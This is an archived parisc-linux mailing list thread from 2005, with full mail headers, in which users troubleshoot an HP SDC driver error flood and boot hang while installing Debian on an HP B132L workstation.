From: Scott Edwards <supadupa@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Mon, 11 Jul 2005 13:50:10 -0600
Lines: 90
Approved: news@gmane.org
Message-ID: <a53adc46050711125033341185@mail.gmail.com>
References: <42CF1766.8030608@excelcia.org> <42D0468C.5010005@excelcia.org>
Reply-To: Scott Edwards <supadupa@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623842 15568 80.91.229.3 (22 Nov 2014 02:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jul 2005 19:50:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 11 Jul 2005 21:50:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 463837D663;
	Mon, 11 Jul 2005 13:50:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17355-08; Mon, 11 Jul 2005 13:50:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D8947D664;
	Mon, 11 Jul 2005 13:50:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C29E47D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 13:50:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17355-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 13:50:39 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200])
	by free.linux.hp.com (Postfix) with ESMTP id 2A0487D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 13:50:39 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i12so975499wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 12:50:38 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=AQD0R9QM1nS2kjC0XRB6JVd9uWQAg+P9SHhQjSiyxQJqyT4HFWTDMMxAOWAvoaxKcvp3mj6D9ZTV9TDjf5sa/J421bzH4N9o5WD7lWaGM7b/XwTe22zyyavZj8/U0MaCHVwhhWbAVBBbr/iOKtuuH8mSQvDbNBDLOVLaEbvVVWI=
Original-Received: by 10.54.29.22 with SMTP id c22mr4123741wrc;
	Mon, 11 Jul 2005 12:50:11 -0700 (PDT)
Original-Received: by 10.54.109.20 with HTTP; Mon, 11 Jul 2005 12:50:10 -0700 (PDT)
In-Reply-To: <42D0468C.5010005@excelcia.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zaigYoFseSEkfL6WZHQhaXN1IGRvb0B8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22897

I also have a B132l workstation.  I see about 200 lines of that
message, and eventually it says timeout 52000ms (vague recolection)
and it stops.  I have noticed I'm unable to boot certian kernels.=20
I've had to boot from the cd, hop to a shell, mount the drive, and
install the right kernel.  All I recall is that it is the non smp
32bit 2.6 kernel.  I was only able to use the same kernel that's used
with the installer cd.

I've also reported this on
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D302238.

If it's related, you may want to add to my bug id.  I'll try to get
back to the list w/in the next day to provide more specifics.  Ever
since I was unable to use my pci scsi card combined with a mishap on
my tape drive, I've kinda given up for a small season.

Good luck,


Scott

On 7/9/05, Kurt Fitzner <kfitzner@excelcia.org> wrote:
> I have found that if I switch to a serial console that after a variable
> (from 1 to 50) number of "Transaction add failed" error messages that a
> timeout error would occur and no further transaction errors will occur.
> This allows me to install Debian.
>=20
> After installation if I continue to boot with a serial console then I
> can boot the Debian installation.  If I try to boot with the standard
> graphics console, however, I have a new problem with the SDC driver.
> During boot when the SDC driver initializes, it issues the following
> message:
>=20
> "HP SDC MLC: Registering the System Domain Controller's HIL MLC."
>=20
> After the above message, the kernel hangs and booting is not possible.
>=20
> I am at my wit's end with this one.  I would really appreciate any
> insight that could be offered.
>=20
> Regards,
>=20
>     Kurt Fitzner
>=20
> p.s. In case it is relevant, machine specs are as follows:
> HP 9000 B132L workstation
> 128 MB RAM
> Seagate 4.3GB drive on fwscsi.6.0
> Panasonic cdrom on sescsi.3.0
> No EISA or PCI cards installed.
>=20
> Kurt Fitzner wrote:
> > I have just recently attempted to install Debian 3.1 on an old B132L.  =
I
> > have managed to get the install CD to boot, but the kernel is issuing a=
n
> > infinite stream of error messages from the SDC driver:
> >
> > "HP SDC: Transaction add failed: transaction already queued?"
> >
> > At first this was preventing the install CD from booting.  I determined
> > this was due to syslogd filling the ramdisk by logging the above
> > message.  I was able to get the install CD to boot into the installatio=
n
> > by making the initial ramdisk size very large (64 meg).  However, even
> > this fills up withing a few minutes.
> >
> > I'm not very familliar with the SDC - is there a way to prevent the
> > above from occuring?
> >
> > Thanks in advance,
> >
> >       Kurt Fitzner
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Mon, 11 Jul 2005 15:54:40 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20050711195440.GD2170@roadwarrior.mcmartin.ca>
References: <42CF1766.8030608@excelcia.org> <42D0468C.5010005@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623842 15571 80.91.229.3 (22 Nov 2014 02:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jul 2005 19:55:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 11 Jul 2005 21:55:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EC487D66E;
	Mon, 11 Jul 2005 13:55:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17833-06; Mon, 11 Jul 2005 13:55:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16D167D670;
	Mon, 11 Jul 2005 13:55:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7702E7D669
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 13:55:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17565-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 13:55:42 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id E7BA57D663
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 13:55:41 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id D2F8417081;
	Mon, 11 Jul 2005 15:55:40 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05799-05; Mon, 11 Jul 2005 15:55:29 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 75EAA1707B; Mon, 11 Jul 2005 15:55:29 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-1014135054-52656d6f746546617454697265-494e424f582e4f7574626f78: 1121111725-0432577063873-v4.0.10
Content-Disposition: inline
In-Reply-To: <42D0468C.5010005@excelcia.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n6ugYrJpeSEkSb6WZHQhaXN1IGRvb4Ae
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22898

On Sat, Jul 09, 2005 at 03:50:04PM -0600, Kurt Fitzner wrote:
> "HP SDC MLC: Registering the System Domain Controller's HIL MLC."
> 

I don't suppose you could investigate further? (TOC the machine, 
lookup where it's hung, see the howto on parisc-linux.org). 

All the d-i images tested fine on my B180, which is a fairly close
match to your B132...

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Tue, 12 Jul 2005 08:02:15 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20050712120215.GA4406@roadwarrior.mcmartin.ca>
References: <20050711195440.GD2170@roadwarrior.mcmartin.ca>
	<42BAE7C300004F28@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623842 15577 80.91.229.3 (22 Nov 2014 02:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2005 12:34:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 12 Jul 2005 14:34:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD8AC7D668;
	Tue, 12 Jul 2005 06:34:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21984-05; Tue, 12 Jul 2005 06:34:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D26C37D65B;
	Tue, 12 Jul 2005 06:34:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF5D27D658
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 06:34:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21984-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 06:34:36 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 5C4227D654
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 06:34:36 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 8353617050;
	Tue, 12 Jul 2005 08:34:33 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14311-10; Tue, 12 Jul 2005 08:34:22 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 51A981707B; Tue, 12 Jul 2005 08:34:22 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1047374276-52656d6f746546617454697265-494e424f582e4f7574626f78: 1121171660-0291531968846-v4.0.10
Content-Disposition: inline
In-Reply-To: <42BAE7C300004F28@mail-5-bnl.tiscali.it>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: st2hYuJmeSEkNr6WZHQhaXN1IGRvb8Cx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22899

On Tue, Jul 12, 2005 at 08:16:28AM +0200, Joel Soete wrote:
> # B132L, B160L: NCR 53C720 16-bit Fast-wide high voltage differential (HVD)
> SCSI-2
> # B132L+, B180L+: Symbios Logic 53C875 16-bit Ultra-wide SCSI-2 controller

And this is utterly irrelevant because it's not involved in the problem.

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Tue, 12 Jul 2005 19:07:05 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <42BAE7C3000052B5@mail-5-bnl.tiscali.it>
References: <20050712120215.GA4406@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623842 15579 80.91.229.3 (22 Nov 2014 02:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2005 17:07:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 12 Jul 2005 19:07:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F97F7D67B;
	Tue, 12 Jul 2005 11:07:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24510-02; Tue, 12 Jul 2005 11:07:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D9647D67E;
	Tue, 12 Jul 2005 11:07:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A8E67D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 11:07:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24130-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 11:07:17 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id C99927D668
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 11:07:16 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-1 with esmtp (Exim)
	id 1DsODq-0000eV-Ej; Tue, 12 Jul 2005 19:07:10 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Tue, 12 Jul 2005 19:07:05 +0200
In-Reply-To: <20050712120215.GA4406@roadwarrior.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mp2hYltgeSEkN76WZHQhaXN1IGRvbwB8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22900


> 
> On Tue, Jul 12, 2005 at 08:16:28AM +0200, Joel Soete wrote:
> > # B132L, B160L: NCR 53C720 16-bit Fast-wide high voltage differential=

(HVD)
> > SCSI-2
> > # B132L+, B180L+: Symbios Logic 53C875 16-bit Ultra-wide SCSI-2 contr=
oller
> 
> And this is utterly irrelevant because it's not involved in the problem=
.
> 
Oops my bad I just noticed that there are some diff between those 2 model=

and don't care of messages.

As previously said I never had B132L so I couldn't verify if there was so=
me
HIL port for this design.
(I would like to check on <http://www.parisc-linux.org/hardware/index.htm=
l>
but not available for the moment :_( )

Appologies,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Tue, 12 Jul 2005 08:16:28 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <42BAE7C300004F28@mail-5-bnl.tiscali.it>
References: <20050711195440.GD2170@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623843 15584 80.91.229.3 (22 Nov 2014 02:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>,
 "Kurt Fitzner" <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2005 06:16:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 12 Jul 2005 08:16:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E8237D672;
	Tue, 12 Jul 2005 00:16:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19877-05; Tue, 12 Jul 2005 00:16:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 059C17D673;
	Tue, 12 Jul 2005 00:16:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A499E7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 00:16:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19877-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 00:16:39 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 006377D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 00:16:38 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-2 with esmtp (Exim)
	id 1DsE4E-0001cN-1f; Tue, 12 Jul 2005 08:16:34 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Tue, 12 Jul 2005 08:16:28 +0200
In-Reply-To: <20050711195440.GD2170@roadwarrior.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AAWhYjk5eSEkYL6WZHQhaXN1IGRvb4DP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22901

Hello Kyle,
> 
> On Sat, Jul 09, 2005 at 03:50:04PM -0600, Kurt Fitzner wrote:
> > "HP SDC MLC: Registering the System Domain Controller's HIL MLC."
> > 
> 
> I don't suppose you could investigate further? (TOC the machine, 
> lookup where it's hung, see the howto on parisc-linux.org). 
> 
> All the d-i images tested fine on my B180, which is a fairly close
> match to your B132...
> 
mmm not exactely: there was actualy 2 b132 models i.e. B132L and B132L+
and <http://www.openpa.net/systems/b-class.html> rememmber me the major d=
iff
imho:
[...]
